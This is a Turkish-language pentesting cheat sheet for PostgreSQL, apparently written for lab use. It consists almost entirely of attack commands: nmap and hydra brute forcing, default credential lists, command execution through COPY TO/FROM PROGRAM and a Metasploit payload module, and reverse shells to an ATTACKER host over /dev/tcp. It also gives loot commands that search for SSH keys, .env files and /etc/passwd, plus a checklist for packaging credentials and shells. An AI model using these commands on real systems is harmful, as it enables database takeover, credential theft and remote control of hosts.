5432,5433 - Pentesting Postgresql

PostgreSQL database

Postgres COPY TO/FROM PROGRAM ve zayıf auth ile OS komutu çalıştırır. Hedef lab IP’si üzerinde komutları 5432 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 5432 doğrula.

2. Login brute.

3. Priv.

4. COPY PROGRAM / CVE.

Keşif

nmap -Pn -sV -p5432 TARGET

nmap -Pn -p5432 --script pgsql-brute TARGET

psql -h TARGET -U postgres

nxc postgres TARGET -u postgres -p postgres

RCE

COPY (SELECT '') TO PROGRAM 'id'

msfconsole -q -x 'use exploit/linux/postgres/postgres_payload; set RHOSTS TARGET; run'

psql ... -c "CREATE TABLE x(t text); COPY x FROM PROGRAM 'bash -c bash>/dev/tcp/ATTACKER/443';"

Derin enum

,5433 - Postgresql için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p5432,5433 TARGET

nmap -Pn -p5432 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:5432' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',5432));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,5433 - Postgresql

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 5432 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5432

nmap -p5432 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit PostgreSQL

msfconsole -q -x 'search PostgreSQL; exit'

nuclei -u https://TARGET:5432 -t cves/ -silent -severity || true

nuclei -u http://TARGET:5432 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 5432

printf '
' | timeout 3 nc -nv TARGET 5432

curl -vk --http1.0 http://TARGET:5432/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

login → COPY PROGRAM → reverse shell